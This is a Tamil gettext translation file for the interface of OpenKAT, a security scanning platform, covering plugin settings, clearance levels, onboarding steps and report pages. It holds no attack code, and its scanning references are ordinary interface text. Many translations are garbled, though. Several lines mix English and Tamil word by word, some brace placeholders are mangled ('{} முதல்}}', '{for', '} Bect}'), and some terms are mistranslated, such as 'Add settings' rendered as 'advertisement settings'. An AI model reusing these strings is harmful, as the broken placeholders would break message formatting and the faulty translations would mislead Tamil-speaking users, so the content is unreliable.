katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"The following arguments அரே used க்கு this Boefje variant:\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"There அரே இல்லை arguments used க்கு this Boefje variant.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"தொகு variant\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"இந்த போஃப்சிக்கு இதுவரை எந்த வகைகளும் இல்லை.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\"You can make a variant and change the arguments and சாதொபொகு Schema பெறுநர் \"\n\"customize it பெறுநர் fit your needs.\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"அமைப்பு சேர்\"\nmsgstr[1] \"அமைப்புகள் சேர்\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"அமைப்பு\"\nmsgstr[1] \"அமைப்புகள்\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"விளம்பர அமைப்புகள் மற்றும் போசேவை இயக்கவும்\"\nmsgstr[1] \"அமைப்புகளைச் சேர்த்து போஃப்சேவை இயக்கவும்\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"அமைப்புகளை நீக்கு\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"சொருகி %(plugin_name)s அனைத்து அமைப்புகளையும் நீக்க விரும்புகிறீர்களா?\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\"இந்த குறிப்பிட்ட போஃப்சேவுக்கான அமைப்புகளுக்கு கீழே உள்ள அட்டவணையில் காணலாம். அமைப்புகளைத் \"\n\"திருத்துவதன் மூலம் மாறிகளின் மதிப்பை அமைக்கவும் அல்லது மாற்றவும்.\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"அமைப்புகளை உள்ளமைக்கவும்\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"அமைப்புகளின் கண்ணோட்டம்\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"மாறக்கூடிய\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"அமர்வு நிறுத்தப்பட்டுள்ளது, தயவுசெய்து பொருட்களை மீண்டும் தேர்ந்தெடுக்கவும்.\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"இசைவு அளவை மாற்றவும்\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"{} முதல்}} வரை அமைப்புகள் வெற்றிகரமாக நகலி செய்யப்பட்டன.\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"போஃப்சே {for க்கான அமைப்புகளைப் பெறுவதில் தோல்வி\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\"செருகுநிரலுக்கான தகவல்களைப் பெறுவது தோல்வியுற்றது. கேடலோகச் பதிவுகளை சரிபார்க்கவும்.\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட சில OOI களுக்கு ச்கேன் செய்ய இசைவு நிலை அதிகரிப்பு தேவை. இசைவு \"\n\"அளவை மாற்ற உங்களுக்கு இசைவு இல்லை.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"{} '{}' முடக்கப்பட்டது.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"{} '{}' இயக்கப்பட்டது.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\"உங்கள் இசைவு அளவை நீங்கள் ஒப்புக் கொள்ளவில்லை. உங்கள் இசைவு அளவை ஒப்புக்கொள்ள உங்கள் \"\n\"சுயவிவரப் பக்கத்திற்குச் செல்லவும்.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\"உங்கள் இசைவு நிலை அமைக்கப்படவில்லை. உங்கள் அனுமதியைக் காண உங்கள் சுயவிவரப் பக்கத்திற்குச் \"\n\"செல்லவும் அல்லது இசைவு அளவை அமைக்க நிர்வாகியை தொடர்பு கொள்ளவும்.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\"உங்கள் இசைவு நிலை l {}. அதிக இசைவு அளவைப் பெற உங்கள் நிர்வாகியைத் தொடர்பு கொள்ளுங்கள்.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"{} ஐ இயக்க உங்களுக்கு குறைந்தபட்சம் L {} இன் இசைவு நிலை தேவை. \"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"ச்கீமா இல்லாமல் போஃப்சேவுக்கு அமைப்புகளைச் சேர்க்க முயற்சிக்கிறது\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"அமைப்புகளில் எந்த மாற்றங்களும் சேர்க்கப்படவில்லை: படிவ தரவு இல்லை\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"'{}' க்கான அமைப்புகளைச் சேர்த்தது\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"அமைப்புகளைச் சேர்ப்பதில் தோல்வி\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"{} ஐ இயக்குவது தோல்வியுற்றது\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"போஃப்சே '{}' இயக்கப்பட்டது.\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"விளம்பர அமைப்புகள்\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"சொருகி அமைப்புகள்}} வெற்றிகரமாக நீக்கப்பட்டன.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"சொருகி {the அமைப்புகள் இல்லை.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\"செருகுநிரலுக்கான அமைப்புகளை நீக்குவதில் தோல்வியுற்றது {}. மேலும் தகவலுக்கு கட்டாலோகச் \"\n\"பதிவுகளை சரிபார்க்கவும்.\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"விளக்கம்-புத்துணர்ச்சி நிலை\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"\"\n\"'Http: //' அல்லது 'https: //' உடன் தொடங்கும் செல்லுபடியாகும் முகவரி ஐ உள்ளிடவும்.\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"நிறுவன அமைப்பு\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"அறிக்கை\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"போஃப்செச் ச்கேன் செய்கிறார்\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"தொடங்குவோம்\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"அமைப்பு விவரங்கள்\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"சமர்ப்பிக்கவும்\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"மாற்றங்களை சமர்ப்பிக்கவும்\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"தொடரவும்\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"இழப்பீட்டு அமைப்பு\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"அமைப்பு மீதான இழப்பீடு ஏற்கனவே உள்ளது.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"எனது இசைவு நிலை என்ன?\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\"எதிர்பாராதவிதமாக நீங்கள் ஆன் போர்டிங் தொடர முடியாது. </br> உங்கள் நிர்வாகி <strong> \"\n\"எல்%(tcl)s </strong> இன் இசைவு மட்டத்துடன் உங்களை நம்பியுள்ளார். </br> உங்களுக்குக் \"\n\"குறைந்தபட்சம் ஒரு இசைவு நிலை தேவை <strong> \"\n\"எல்%(dns_report_least_clearance_level)s </strong> வருடு செய்ய <strong>%(ooi)s \"\n\"</strong> </br> அதிக அனுமதியைப் பெற உங்கள் நிர்வாகியைத் தொடர்பு கொள்ளவும்.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"ஆன் போர்டிங் தவிர்க்கவும்\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\"உங்கள் நிர்வாகி <strong> எல்%(tcl)s </strong> இன் இசைவு மட்டத்துடன் உங்களை \"\n\"நம்பியுள்ளார். </br> தொடர இந்த இசைவு அளவை நீங்கள் முதலில் ஏற்றுக்கொள்ள வேண்டும்.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"தொடர்புடைய பொருள்கள்\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"பொருளை உருவாக்கவும்\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"இசைவு அளவை அமைக்கவும்\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"ஒரு அறிக்கையை உருவாக்குங்கள்\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"2: நிறுவன அமைப்பு\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"{org_name} வெற்றிகரமாக உருவாக்கப்பட்டது.\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"{org_name} வெற்றிகரமாக புதுப்பிக்கப்பட்டது.\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"ஒரு பொருளை உருவாக்குதல்\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"ஓச்ட்பெயரின் பெற்றோர் டி.என்.எச் மண்டலத்தைப் பெறுங்கள்\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"மிருகத்தனமான சக்தியால் துணை டொமைன்களைக் காண்கிறது\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"தொடர ஒரு சொருகி என்பதைத் தேர்ந்தெடுக்கவும்.\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"தொடர தேவையான அனைத்து செருகுநிரல்களையும் தேர்ந்தெடுக்கவும்.\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"} Bect} ஐ இயக்கும் போது பிழை ஏற்பட்டது. சொருகி கிடைக்கவில்லை.\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"செருகுநிரல்கள் வெற்றிகரமாக இயக்கப்பட்டன.\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"OOI வகைகளால் வடிகட்டவும்\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"இன்று\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"வெவ்வேறு தேதி\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"இல்லை, ஒரு முறை\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"ஆம், மீண்டும் செய்யவும்\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"தொடக்க தேதி\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"தொடக்க நேரம் (UTC)\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"மீண்டும் நிகழ்வு\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"மீண்டும் நிகழ்வு இல்லை, ஒரு முறை\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"நாள்தோறும்\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"வாராந்திர\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"மாதாந்திர\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"ஆண்டு\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"நாள்\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"வாரம்\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"மாதம்\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"ஆண்டு\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"ஒருபோதும்\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"ஆன்\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"பிறகு\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"பெயர் வடிவத்தைப் புகாரளிக்கவும்\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"பின் இணைப்பு\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"தற்போது வடிகட்டப்பட்டுள்ளது\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட அறிக்கை வகைகள்\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட அறிக்கை வகைகள்\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"அறிக்கை வகை\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"பணி பதிப்புகள் மற்றும் உடல்நலம்\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"பணி, பதிப்பு மற்றும் உடல்நலம்\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"பணி\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"பதிப்பு\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"உடல்நலம்\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"ஆரோக்கியமான\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"ஆரோக்கியமற்ற\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"பயன்படுத்தப்பட்ட கட்டமைப்பு பொருள்கள்\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"பயன்படுத்தப்பட்ட கட்டமைப்புப் பொருள்கள்\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"முதன்மை விசை\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"பிட் ஐடி\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"கட்டமைப்பு\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"கட்டமைப்பு பொருள்கள் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"சொத்து கண்ணோட்டம்\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\"கைமுறையாக வெளியிடப்பட்ட ச்கேன் செய்யப்பட்ட சொத்துகளின் கண்ணோட்டம். <strong> போல்ட் </\"\n\"strong> இல் உள்ள சொத்துக்கள் ஒரு தொடக்க புள்ளியாக எடுத்துக் கொள்ளப்படுகின்றன, தைரியமாக \"\n\"இல்லாத சொத்துக்கள் ஓபன்காட் அவர்களால் கண்டுபிடிக்கப்பட்டன.\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"அடிப்படை பாதுகாப்பு நிலையின் கண்ணோட்டம்\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked 